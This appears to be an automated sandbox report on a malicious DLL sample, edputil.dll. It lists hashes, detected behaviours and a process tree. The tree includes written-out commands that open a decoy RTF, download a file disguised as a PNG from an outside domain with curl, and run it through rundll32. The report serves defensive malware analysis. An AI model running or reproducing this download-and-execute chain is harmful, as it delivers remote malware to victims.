Analysis

  • max time kernel
    119s
  • max time network
    131s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    06/03/2024, 18:48

General

  • Target
    edputil.dll
  • Size 95KB
  • Sample240306-xfr4lsfe26
  • SHA256 905a3a144f94a38ac6059759879caec19cff446b98c24bb2035b3293330e03b2
  • MD5 SHA1 SHA512 SSDEEP
Score
4/10

Malware Config

Signatures

  • Drops file in Windows directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs

Processes

  • C:\Windows\system32\rundll32.exe
    rundll32.exe C:\Users\Admin\AppData\Local\Temp\edputil.dll,#1
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2936
    • C:\Windows\system32\cmd.exe
      cmd /c data\document.rtf
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2988
      • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
        "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\data\document.rtf"
        3⤵
        • Drops file in Windows directory
        • Modifies Internet Explorer settings
        • Modifies registry class
        • Suspicious behavior: AddClipboardFormatListener
        • Suspicious behavior: CmdExeWriteProcessMemorySpam
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:2692
        • C:\Windows\splwow64.exe
          C:\Windows\splwow64.exe 12288
          4⤵
            PID:2636
      • C:\Windows\system32\cmd.exe
        cmd.exe /c md c:\wnd
        2⤵
          PID:1616
        • C:\Windows\system32\cmd.exe
          cmd.exe /c curl.exe --output c:\wnd\3291.png --url https://yourunitedlaws.com/mrD/4462
          2⤵
            PID:2348
          • C:\Windows\system32\rundll32.exe
            rundll32 c:\wnd\3291.png,GetModuleProp
            2⤵
              PID:2624

          Network

                MITRE ATT&CK Enterprise v15

                Replay Monitor

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                Downloads

                Normal.dotm

                • Path C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm
                • Size 20KB
                • SHA256 47ab5b34f94254d16c9f8e06d18ea417ddf1fe2fb69d244c448c78c37c2713c4
                • MD5 SHA1 SHA512 SSDEEP

                memory/2692-23-0x000000002F0E1000-0x000000002F0E2000-memory.dmp

                memory/2692-25-0x000000005FFF0000-0x0000000060000000-memory.dmp

                memory/2692-26-0x00000000712AD000-0x00000000712B8000-memory.dmp

                memory/2692-37-0x00000000712AD000-0x00000000712B8000-memory.dmp

                memory/2692-55-0x000000005FFF0000-0x0000000060000000-memory.dmp

                memory/2936-35-0x000007FEF7B80000-0x000007FEF7BA0000-memory.dmp